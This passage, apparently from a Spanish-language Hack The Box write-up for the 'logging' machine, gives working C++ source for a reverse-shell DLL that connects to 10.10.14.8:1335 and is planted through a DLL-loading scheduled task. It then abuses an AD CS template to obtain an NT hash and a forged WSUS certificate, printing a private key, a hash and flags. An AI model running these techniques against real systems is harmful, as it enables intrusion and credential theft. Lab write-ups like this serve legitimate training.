*Evil-WinRM* PS C:\Users\msa_health$\Documents> $service = New-Object -ComObject "Schedule.Service"; $service.Connect(); $task = $service.GetFolder("\").GetTask("UpdateChecker Agent"); $task.Definition.Actions


Id               :
Type             : 0
Path             : "C:\Program Files\UpdateMonitor\UpdateMonitor.exe"
Arguments        : 500 /scan=3 /autofix=true
WorkingDirectory :
HideAppWindow    : False



*Evil-WinRM* PS C:\Users\msa_health$\Documents> $service = New-Object -ComObject "Schedule.Service"; $service.Connect(); $task = $service.GetFolder("\").GetTask("UpdateChecker Agent"); $task.Definition.Principal


Id          : Author
DisplayName :
UserId      : jaylee.clifton
LogonType   : 1
GroupId     :
RunLevel    : 0



*Evil-WinRM* PS C:\Users\msa_health$\Documents>

La siguiente ejecucion es en 3 minutos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

*Evil-WinRM* PS C:\Users\msa_health$\Documents> $task.NextRunTime

Wednesday, April 22, 2026 7:05:15 AM


*Evil-WinRM* PS C:\Users\msa_health$\Documents> date

Wednesday, April 22, 2026 7:02:22 AM


*Evil-WinRM* PS C:\Users\msa_health$\Documents>

Los logs sugieren que busca un archivo zip en C:\ProgramData\UpdateMonitor\Settings_Update.zip y un .dll.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

*Evil-WinRM* PS C:\Program Files\UpdateMonitor> .\UpdateMonitor.exe 500 /scan=3 /autofix=true
[2026-04-22 07:38:37] Starting Sentinel Update Check...
[2026-04-22 07:38:37] Checking for update on core server...
[2026-04-22 07:38:37] Info: Core did not find file Settings_Update.zip
[2026-04-22 07:38:37] Last status: File not found on core
[2026-04-22 07:38:37] Checking for update on local server...
[2026-04-22 07:38:37] No updates found locally: C:\ProgramData\UpdateMonitor\Settings_Update.zip.
[2026-04-22 07:38:37] Loading update applier: C:\Program Files\UpdateMonitor\bin\settings_update.dll
[2026-04-22 07:38:37] Failed to load settings_update.dll. Error code: 126
[2026-04-22 07:38:37] Update check completed.
*Evil-WinRM* PS C:\Program Files\UpdateMonitor>

User - Jaylee.clifton

UpdateMonitor

Descargamos el ejecutable y observamos que su arquitectura es x86 en .NET.

1
2
3

❯ file UpdateMonitor.exe
UpdateMonitor.exe: PE32 executable for MS Windows 6.00 (console), Intel i386 Mono/.Net assembly, 3 sections
❯

ILSpy nos permitio leer el codigo fuente del programa.

image

Busca el archivo settings_update.dll dentro de un archivo zip para realizar la ejecucion de la funcion PreUpdateCheck.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113

internal class Program
{
	private delegate void PreUpdateCheck();

	[DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
	private static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)] string lpFileName);

	[DllImport("kernel32.dll", CharSet = CharSet.Ansi)]
	private static extern IntPtr GetProcAddress(IntPtr hModule, string procedureName);

	[DllImport("kernel32.dll", SetLastError = true)]
	private static extern bool FreeLibrary(IntPtr hModule);

	private static void Main(string[] args)
	{
		string path = "C:\\ProgramData\\UpdateMonitor\\Logs\\monitor.log";
		string text = "C:\\ProgramData\\UpdateMonitor\\Settings_Update.zip";
		string text2 = "C:\\Program Files\\UpdateMonitor\\bin\\";
		string text3 = "settings_update.dll";
		string text4 = Path.Combine(text2, text3);
		Directory.CreateDirectory(Path.GetDirectoryName(path));
		CleanupLogs(path, 90);
		Log(path, "Starting Sentinel Update Check...");
		Log(path, "Checking for update on core server...");
		Log(path, "Info: Core did not find file Settings_Update.zip");
		Log(path, "Last status: File not found on core");
		Log(path, "Checking for update on local server...");
		if (File.Exists(text))
		{
			try
			{
				if (File.Exists(text4))
				{
					File.Delete(text4);
				}
				ZipFile.ExtractToDirectory(text, text2);
				Log(path, "Successfully unzipped update to " + text2);
			}
			catch (IOException ex)
			{
				Log(path, "Update failed: " + ex.Message);
			}
			catch (Exception ex2)
			{
				Log(path, "Update failed: " + ex2.Message);
			}
		}
		else
		{
			Log(path, "No updates found locally: C:\\ProgramData\\UpdateMonitor\\Settings_Update.zip.");
		}
		Log(path, "Loading update applier: " + text4);
		IntPtr intPtr = LoadLibrary(text4);
		if (intPtr == IntPtr.Zero)
		{
			int lastWin32Error = Marshal.GetLastWin32Error();
			Log(path, $"Failed to load {text3}. Error code: {lastWin32Error}");
			Log(path, "Update check completed.");
			return;
		}
		try
		{
			IntPtr procAddress = GetProcAddress(intPtr, "PreUpdateCheck");
			if (procAddress != IntPtr.Zero)
			{
				Log(path, "Calling 'PreUpdateCheck' in " + text3);
				((PreUpdateCheck)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(PreUpdateCheck)))();
			}
			else
			{
				Log(path, "'PreUpdateCheck' not found in " + text3 + ". Continuing...");
			}
		}
		finally
		{
			FreeLibrary(intPtr);
		}
		Log(path, "Update check completed.");
	}

	private static void CleanupLogs(string path, int maxLines)
	{
		try
		{
			FileInfo fileInfo = new FileInfo(path);
			if (fileInfo.Exists && fileInfo.Length >= 102400)
			{
				string[] array = File.ReadAllLines(path);
				if (array.Length > maxLines)
				{
					string[] contents = array.Take(maxLines).ToArray();
					File.WriteAllLines(path, contents);
				}
			}
		}
		catch
		{
		}
	}

	private static void Log(string path, string message)
	{
		string text = $"[{DateTime.Now:yyyy-MM-dd HH:mm:ss}] {message}{Environment.NewLine}";
		Console.Write(text);
		try
		{
			File.AppendAllText(path, text);
		}
		catch
		{
		}
	}
}

Reverse Shell - DLL

En Visual Studio creamos un nuevo proyecto: Dynamic-Link Library (DLL), el cual nombramos settings_update. En Headers Files creamos el archivo rev.h, donde se define la funcion a exportar: PreUpdateCheck.

1
2

#pragma once
extern "C" __declspec(dllexport) int PreUpdateCheck(void);

En Source Files creamos el archivo rev.cpp el cual contiene la ejecucion de una shell inversa.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52

#include "pch.h"
#include <stdio.h>
#include <string.h>
#include <process.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdlib.h>
#pragma comment(lib, "Ws2_32.lib")
#include "rev.h"
using namespace std;

void rev_shell()
{
    FreeConsole();

    const char* REMOTE_ADDR = "10.10.14.8";
    const char* REMOTE_PORT = "1335";

    WSADATA wsaData;
    int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
    struct addrinfo* result = NULL, * ptr = NULL, hints;
    memset(&hints, 0, sizeof(hints));
    hints.ai_family = AF_UNSPEC;
    hints.ai_socktype = SOCK_STREAM;
    hints.ai_protocol = IPPROTO_TCP;
    getaddrinfo(REMOTE_ADDR, REMOTE_PORT, &hints, &result);
    ptr = result;
    SOCKET ConnectSocket = WSASocket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol, NULL, NULL, NULL);
    connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));
    si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;
    si.hStdInput = (HANDLE)ConnectSocket;
    si.hStdOutput = (HANDLE)ConnectSocket;
    si.hStdError = (HANDLE)ConnectSocket;
    TCHAR cmd[] = TEXT("C:\\WINDOWS\\SYSTEM32\\CMD.EXE");
    CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    WSACleanup();
}

int PreUpdateCheck(void)
{
    rev_shell();
    return 0;
}

Finalmente modificamos el proyecto para arquitectura x86 y compilamos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

1>------ Rebuild All started: Project: settings_update, Configuration: Release Win32 ------
1>  pch.cpp
1>  dllmain.cpp
1>  rev.cpp
1>     Creating library C:\Users\sckull\source\repos\settings_update\Release\settings_update.lib and object C:\Users\sckull\source\repos\settings_update\Release\settings_update.exp
1>  Generating code
1>  Previous IPDB not found, fall back to full compilation.
1>  All 3 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
1>  Finished generating code
1>  settings_update.vcxproj -> C:\Users\sckull\source\repos\settings_update\Release\settings_update.dll
========== Rebuild All: 1 succeeded, 0 failed, 0 skipped ==========
========== Rebuild completed at 3:56 AM and took 01.104 seconds ==========

Agregamos el dll al archivo zip Settings_Update.zip.

1
2
3
4

❯ cp /mnt/hgfs/sharedvm/settings_update.dll .
❯ zip Settings_Update.zip settings_update.dll
updating: settings_update.dll (deflated 51%)
❯

Subimos este ultimo a C:\ProgramData\UpdateMonitor.

1
2
3
4
5
6
7
8

*Evil-WinRM* PS C:\ProgramData\UpdateMonitor> upload dll/Settings_Update.zip Settings_Update.zip
                                        
Info: Uploading /home/kali/htb/logging/dll/Settings_Update.zip to C:\ProgramData\UpdateMonitor\Settings_Update.zip
                                        
Data: 11984 bytes of 11984 bytes copied
                                        
Info: Upload successful!
*Evil-WinRM* PS C:\ProgramData\UpdateMonitor>

Observamos que la siguiente ejecucion en los proximos segundos.

1
2
3
4
5
6
7

*Evil-WinRM* PS C:\Program Files\UpdateMonitor\bin> date; $task.NextRunTime

Wednesday, April 22, 2026 10:04:26 AM
Wednesday, April 22, 2026 10:05:15 AM


*Evil-WinRM* PS C:\Program Files\UpdateMonitor\bin>

Tras la ejecucion logramos una shell con jaylee.clifton y la lectura de user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.8] from logging.htb [10.129.31.217] 57503
Microsoft Windows [Version 10.0.17763.8644]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
logging\jaylee.clifton

C:\Windows\system32>dir C:\Users\jaylee.clifton\Desktop
 Volume in drive C has no label.
 Volume Serial Number is C007-7498

 Directory of C:\Users\jaylee.clifton\Desktop

04/16/2026  07:25 PM    <DIR>          .
04/16/2026  07:25 PM    <DIR>          ..
04/21/2026  03:55 PM                34 user.txt
               1 File(s)             34 bytes
               2 Dir(s)   4,096,245,760 bytes free

C:\Windows\system32>type C:\Users\jaylee.clifton\Desktop\user.txt
1ed9f456b90bedd5576b9f01ac8a2974

C:\Windows\system32>

Privesc

Support Ticket

Encontramos un archivo dentro del directorio Tickets\.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

C:\Users\jaylee.clifton>dir Documents\Tickets
 Volume in drive C has no label.
 Volume Serial Number is C007-7498

 Directory of C:\Users\jaylee.clifton\Documents\Tickets

04/16/2026  07:27 PM    <DIR>          .
04/16/2026  07:27 PM    <DIR>          ..
04/16/2026  07:27 PM             2,453 Incident_4922_WSUS_Remediation_ViewExport.html
               1 File(s)          2,453 bytes
               2 Dir(s)   4,095,766,528 bytes free

C:\Users\jaylee.clifton>copy Documents\Tickets\Incident_4922_WSUS_Remediation_ViewExport.html C:\ProgramData\
        1 file(s) copied.

C:\Users\jaylee.clifton>

# shell as msa_health
*Evil-WinRM* PS C:\ProgramData> download Incident_4922_WSUS_Remediation_ViewExport.html
                                        
Info: Downloading C:\ProgramData\Incident_4922_WSUS_Remediation_ViewExport.html to Incident_4922_WSUS_Remediation_ViewExport.html
                                        
Info: Download successful!
*Evil-WinRM* PS C:\ProgramData>

En este se describe el servicio BITS apuntando a wsus.logging.htb, el DNS no esta actualizado y la tarea programada ForceSync en ejecucion cada dos minutos que mata e inicia SoftwareDistribution (Windows Update).

image

WSUS HTTPs - Exploit

Lo anterior indicaria WSUS, basados en los queries al registro, el servidor WSUS esta en https://wsus.logging.htb:8531 por medio de HTTPS.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

PS C:\ProgramData> reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
    WUServer    REG_SZ    https://wsus.logging.htb:8531

PS C:\ProgramData> reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\AU
    UseWUServer    REG_DWORD    0x1

PS C:\ProgramData>

Investigando sobre attaques a WSUS encontramos que existe uno hacia servidores que utilizan HTTP, un ataque MiTM. En este caso es un HTTPS. Para este ultimo se explica un ataque similar utilizando un certificado (AD CS), este debe de tener la flag ENROLLEE_SUPPLIES_SUBJECT la que permitiria especificar un hostname para la explotacion.

Certificate

Para identificar una plantilla ‘vulnerable’ es posible a traves de certipy junto con jq, con un “query”. Se muestra la plantilla UpdateSrv, para este el grupo IT.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

❯ certipy-ad find -enabled -u msa_health$ -hashes :603fc24ee01a9409f83c9d1d701485c5 -dc-ip 10.129.31.217 -dc-host dc01.logging.htb -target 10.129.31.217
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 15 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'logging-DC01-CA' via RRP
[*] Successfully retrieved CA configuration for 'logging-DC01-CA'
[*] Checking web enrollment for CA 'logging-DC01-CA' @ 'DC01.logging.htb'
[!] Error checking web enrollment: [Errno 111] Connection refused
[!] Use -debug to print a stacktrace
[*] Saving text output to '20260424000253_Certipy.txt'
[*] Wrote text output to '20260424000253_Certipy.txt'
[*] Saving JSON output to '20260424000253_Certipy.json'
[*] Wrote JSON output to '20260424000253_Certipy.json'
❯ jq -r ' .["Certificate Templates"][] | select(.["Enrollee Supplies Subject"] and .Enabled) | "\(.["Template Name"])\n" + (.Permissions["Enrollment Permissions"]["Enrollment Rights"] | map("  " + .) | join("\n")) + "\n" ' 20260424000253_Certipy.json
UpdateSrv
  LOGGING.HTB\IT
  LOGGING.HTB\Domain Admins
  LOGGING.HTB\Enterprise Admins

SubCA
  LOGGING.HTB\Domain Admins
  LOGGING.HTB\Enterprise Admins

WebServer
  LOGGING.HTB\Domain Admins
  LOGGING.HTB\Enterprise Admins

❯

Jaylee es el unico usuario en este grupo, Certify muestra que tiene permisos sobre el certificado tambien se indica la flag necesaria.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61

PS C:\ProgramData> .\Certify2.0.exe enum-templates --current-user --filter-enabled --hide-admins

   _____          _   _  __          
  / ____|        | | (_)/ _|         
 | |     ___ _ __| |_ _| |_ _   _    
 | |    / _ \ '__| __| |  _| | | |   
 | |___|  __/ |  | |_| | | | |_| |   
  \_____\___|_|   \__|_|_|  \__, |   
                             __/ |   
                            |___./   
  v2.0.0                         

[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=logging,DC=htb'
[*] Classifying vulnerabilities in the context of the current user ('logging\jaylee.clifton') and its unrolled groups.
[X] AuthWithChannelBinding HTTP request for URL 'https://DC01.logging.htb/certsrv/' failed with error: An error occurred while sending the request.

[*] Listing info about the enterprise certificate authority 'logging-DC01-CA'

    Enterprise CA Name            : logging-DC01-CA
    DNS Hostname                  : DC01.logging.htb
    FullName                      : DC01.logging.htb\logging-DC01-CA
    Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
    Cert SubjectName              : CN=logging-DC01-CA, DC=logging, DC=htb
    Cert Thumbprint               : 2DF3A80A22B1C559D4CD9A7815766707756E44FD
    Cert Serial                   : 196621CCC95B9C904E63B58E449ABC04
    Cert Start Date               : 4/16/2026 8:20:00 PM
    Cert End Date                 : 4/16/2126 8:30:00 PM
    Cert Chain                    : CN=logging-DC01-CA,DC=logging,DC=htb
    User Specifies SAN            : Disabled
    RPC Request Encryption        : Enabled
    CA Permissions
      Owner: BUILTIN\Administrators             S-1-5-32-544

      Access Rights                                     Principal
      Allow  Enroll                                     NT AUTHORITY\Authenticated Users   S-1-5-11
    Enrollment Agent Restrictions : None

[*] Certificate templates found using the current filter parameters:

# ... skip ...

    Template Name                         : UpdateSrv
    Enabled                               : True
    Publishing CAs                        : DC01.logging.htb\logging-DC01-CA
    Schema Version                        : 2
    Validity Period                       : 10 years
    Renewal Period                        : 6 weeks
    Certificate Name Flag                 : ENROLLEE_SUPPLIES_SUBJECT
    Enrollment Flag                       : NONE
    Manager Approval Required             : False
    Authorized Signatures Required        : 0
    Extended Key Usage                    : Server Authentication
    Certificate Application Policies      : Server Authentication
    Permissions
      Enrollment Permissions
        Enrollment Rights           : logging\IT                         S-1-5-21-4020823815-2796529489-1682170552-2102
      Object Control Permissions

Certify completed in 00:00:02.5586650
PS C:\ProgramData>

Jaylee Hash

Obtuvimos un certificado de la plantilla User para Jaylee.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105

PS C:\ProgramData> .\Certify.exe request /ca:DC01.logging.htb\logging-DC01-CA /template:User /altname:jaylee.clifton@logging.htb /sid:S-1-5-21-4020823815-2796529489-168

   _____          _   _  __              
  / ____|        | | (_)/ _|             
 | |     ___ _ __| |_ _| |_ _   _        
 | |    / _ \ '__| __| |  _| | | |      
 | |___|  __/ |  | |_| | | | |_| |       
  \_____\___|_|   \__|_|_|  \__, |   
                             __/ |       
                            |___./        
  v1.1.0                               

[*] Action: Request a Certificates

[*] Current user context    : logging\jaylee.clifton
[*] No subject name specified, using current context as subject.

[*] Template                : User
[*] Subject                 : CN=jaylee.clifton, CN=Users, DC=logging, DC=htb
[*] AltName                 : jaylee.clifton@logging.htb
[*] SidExtension            : S-1-5-21-4020823815-2796529489-168

[*] Certificate Authority   : DC01.logging.htb\logging-DC01-CA

[*] CA Response             : The certificate had been issued.
[*] Request ID              : 12

[*] cert.pem         :

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA1tHhnfQytYLVQHDrXCA6AIvtHi8JJLbftNepZrEheypiX5U9
OTbcXmbzPw1bEpM/sRf5pwo2GFQRG9lhCMl26Vx/sUBOHX5JNy9NFHGEJyxHAGuT
1mIEKY3p95d1/TOM3wg67Z6Rebp/aF6uSGQAcKiHojvXcLbwVitb8d4WgkTD9slO
Dy0ihh+kxL7iurZzMpsn1hgnTTmjFXRndoV+RH3ygqV/Mzk+ZBrrDJCYuPHUJdAf
gKho49/wuvbQSGK4a6zQQHGFT4VBJ/iO2e3xrf5onVu5f7dxHFGG1pZ4MNCHHBZm
kmar45nhQWtjQye4uz1zujgblSO3mp1dz6wuyQIDAQABAoIBAGpMDpUnWdRBOh6a
AYxjke/lTV7LLX4SU53bvUJIUeXtMiJT6aifAepgjOrdQ/xsCm8qCunh/qSJLLIY
HZDIh+OvVqwxwrWLYNVCvaRpC1iK61NE6DGD7MVXKLfQJZ013fYaz3X3KcsPQq41
c430ldcpPXxEmjV3AHPTHrsPBxpL3ihjC0fs8YJK1hRphxV3V9itrDCV8I43c6sg
t7zBKeWtjD8ecZ2ybSG1Q7zDo4UmrVvLbr7HuOWYo35g3b/Kmx5aQra5rvFLsIfO
ai6Ok3aL41wUoDXjhCk1fENsWZvOUnhVVyC1AbJoajzxG3iFy9CJSJvN/bfOrJpc
rvsdWjUCgYEA+GxBjtTwWI8oPbO3U7pAPH+00a8hq5IZaWQ8lZJdvZRiEhFKEVho
7WU4Ca9K1XqDKNjys800kks/vMsZD4Qjti80QkNY1RYBC2W7xQLOVzbqB6EIBEhR
nOsEVNQzUccgrMw+abesm/XyLCyv/+xFdbbTfz2Byg3Y64WvjSUNrvMCgYEA3V8+
tHG9VYomhRwZqfXfUGz+J37hELlprHH5jT9po+IjfL/+T8TaESmPGpjKpJmx+ovM
g9j6SVHTn/HiYMKqHBD2kZit8jBCbePoEXzvOk4pTpmyhb6kkD3jPHAwutBoCY+r
Z9wHPYWT1yxPI9NpiJoKCCadF6x4ej4cTx3rMlMCgYEAwCICJjT82pGF/wrDDEet
rNzcfZwkv2yUqNV0of388EYV/4FNttKY/JpfV+YyS5+gV3RLadKZCViXqC2waTa6
5AnoMiOiTdPh5O2+5uV/ryZypIngCGfibym5RN6F/oay99JTpzH+lvUGYzIAwT/8
jMllFDD+88X38liH6PMyfQ8CgYBsk5qdxmum2OurveyYgA/X0p2VoZWiLk62VfCg
ZsnZp8DgHwsM9PBAGrIlyWsa8Idq68aTpIieDZROjsUJ0HC+81L8dnZao3DxlSbt
7OkpH80C0D/PeYIdfT1HF3/PIQjmJ6Faf4DNnAa3MvReDgNlDKh+9vF1+xHcYzpf
U71YIQKBgQDFCQG2OhdufwywsQNx7wFZerKMOV23ef2gCuEQ7Crr96+fSDIbrtAJ
ugpNZX10Nk+U5zZUywg09OHtUkmKaHnQsQY7x4b8HG60sgndeXU3DBh42KPWvwkb
+MFgos7Yhei8a+28i0ZEuxG3ajtDhJxCmb+hB7UOec6M6S/XsQhmQQ==
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIHKDCCBRCgAwIBAgITFAAAAAyI0dVae8YWUQABAAAADDANBgkqhkiG9w0BAQsF
ADBIMRMwEQYKCZImiZPyLGQBGRYDaHRiMRcwFQYKCZImiZPyLGQBGRYHbG9nZ2lu
ZzEYMBYGA1UEAxMPbG9nZ2luZy1EQzAxLUNBMB4XDTI2MDQyMjE4NTcxNVoXDTI3
MDQyMjE4NTcxNVowVzETMBEGCgmSJomT8ixkARkWA2h0YjEXMBUGCgmSJomT8ixk
ARkWB2xvZ2dpbmcxDjAMBgNVBAMTBVVzZXJzMRcwFQYDVQQDEw5qYXlsZWUuY2xp
ZnRvbjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANbR4Z30MrWC1UBw
61wgOgCL7R4vCSS237TXqWaxIXsqYl+VPTk23F5m8z8NWxKTP7EX+acKNhhUERvZ
YQjJdulcf7FATh1+STcvTRRxhCcsRwBrk9ZiBCmN6feXdf0zjN8IOu2ekXm6f2he
rkhkAHCoh6I713C28FYrW/HeFoJEw/bJTg8tIoYfpMS+4rq2czKbJ9YYJ005oxV0
Z3aFfkR98oKlfzM5PmQa6wyQmLjx1CXQH4CoaOPf8Lr20EhiuGus0EBxhU+FQSf4
jtnt8a3+aJ1buX+3cRxRhtaWeDDQhxwWZpJmq+OZ4UFrY0MnuLs9c7o4G5Ujt5qd
Xc+sLskCAwEAAaOCAvowggL2MBcGCSsGAQQBgjcUAgQKHggAVQBzAGUAcjApBgNV
HSUEIjAgBgorBgEEAYI3CgMEBggrBgEFBQcDBAYIKwYBBQUHAwIwDgYDVR0PAQH/
BAQDAgWgME8GCSsGAQQBgjcZAgRCMECgPgYKKwYBBAGCNxkCAaAwBC5TLTEtNS0y
MS00MDIwODIzODE1LTI3OTY1Mjk0ODktMTY4MjE3MDU1Mi0yMTA1MEQGCSqGSIb3
DQEJDwQ3MDUwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3DQMEAgIAgDAHBgUrDgMC
BzAKBggqhkiG9w0DBzAdBgNVHQ4EFgQU1Rm0fdMqUHvjN/tyGHIAjIsTxoYwNQYD
VR0RBC4wLKAqBgorBgEEAYI3FAIDoBwMGmpheWxlZS5jbGlmdG9uQGxvZ2dpbmcu
aHRiMB8GA1UdIwQYMBaAFPCtlhRt/O3VvFm24rsz+cY5bgOVMIHNBgNVHR8EgcUw
gcIwgb+ggbyggbmGgbZsZGFwOi8vL0NOPWxvZ2dpbmctREMwMS1DQSgxKSxDTj1E
QzAxLENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNl
cyxDTj1Db25maWd1cmF0aW9uLERDPWxvZ2dpbmcsREM9aHRiP2NlcnRpZmljYXRl
UmV2b2NhdGlvbkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0cmlidXRpb25Q
b2ludDCBwQYIKwYBBQUHAQEEgbQwgbEwga4GCCsGAQUFBzAChoGhbGRhcDovLy9D
Tj1sb2dnaW5nLURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZp
Y2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9bG9nZ2luZyxEQz1o
dGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmljYXRpb25B
dXRob3JpdHkwDQYJKoZIhvcNAQELBQADggIBAIbPA3EoZ0m/j5Rgs03L/0Wq9kzA
cpKXGK66iHlHPX0QrbA4b65V+9SvgPlCiQsGQ13qsa4CmhnHcO4NWxBBIeMulB2S
IBdi64Ei58x2o0epaAZt+7K4vI6f/Bs5W8GlBy3qZyfwW9L+y0ZZ058D3NlAHn5m
1X9Wzd+zb1raO1M+NjfFgc6OWlAJupZcsgTLjdj3dBRR0cZI6vDF4MnzhdU91APu
LnXMJ5f5m2uMNXgYClhdWbO/7cTgB3wrj/wZf2JGUXyjOyRrX2+nPAp+aoWKqfVl
kaELPo5A3+CQdtk6Ety2zYGKEwEs5I0EDGkBmm6PRy7W2AHghI13CPj271eoaDuk
OaVqSYQvx8T3wInKYA6719M7AKkSy+pSJek3sJX5gU7FRQrl1Z78tMKAKYk5SMlU
XP3EuoRPXfvtMn2P8LQ/UDMpnSt2v7s66DXVL1+gVyDDHWPOYEjzHMD0LFC3/1Fy
8aE7NFEGGFJEEMcWgas70fVac4Wym8GYMiXkbsxJSzTPWMM/oKTIY+9ib4w/sJQS
Z5m9kYSVvMwEB+Q68cAn2YmAlKho5/o9PPzc7CwZD7zMm8vlGIKRDLFGVtNRxBzA
GCfFhUmyMweDPmt7dNnWfoPk1FHcrWgQU/IR4jvnuWIaSMiml5PDCrCu51gujKp3
0UAJ7EB71N3bYSUl
-----END CERTIFICATE-----


[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx



Certify completed in 00:00:03.6845543
PS C:\ProgramData>

Con este logramos obtener el hash del usuario con certipy auth.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

❯ nano cert.pem
❯ chmod 600 cert.pem
❯ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Enter Export Password:
Verifying - Enter Export Password:
❯ faketime "$(ntpdate -q logging.htb | cut -d ' ' -f 1,2)" certipy-ad auth -pfx cert.pfx -password 123456 -dc-ip 10.129.31.217
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'jaylee.clifton@logging.htb'
[*]     Security Extension SID: 'S-1-5-21-4020823815-2796529489-1682170552-2105'
[*] Using principal: 'jaylee.clifton@logging.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'jaylee.clifton.ccache'
[*] Wrote credential cache to 'jaylee.clifton.ccache'
[*] Trying to retrieve NT hash for 'jaylee.clifton'
[*] Got hash for 'jaylee.clifton@logging.htb': aad3b435b51404eeaad3b435b51404ee:1abff5519c569c11dc713706b4a15ae0
❯

Request & Convert Certificate

Con las credenciales solicitamos un certificado de UpdateSrv especificando el host wsus.logging.htb. Convertimos el certificado para wsuks.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

❯ certipy-ad req -dc-ip 10.129.31.217 -u jaylee.clifton -hashes :1abff5519c569c11dc713706b4a15ae0 -template UpdateSrv -target dc01.logging.htb -ca logging-DC01-CA -dns wsus.logging.htb
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 8
[*] Successfully requested certificate
[*] Got certificate with DNS Host Name 'wsus.logging.htb'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'wsus.pfx'
[*] Wrote certificate and private key to 'wsus.pfx'
❯ openssl pkcs12 -in wsus.pfx -out wsus.pem -nodes --passin pass:
❯ ls wsus.*
󰌆 wsus.pem   wsus.pfx
❯

DNS Entry

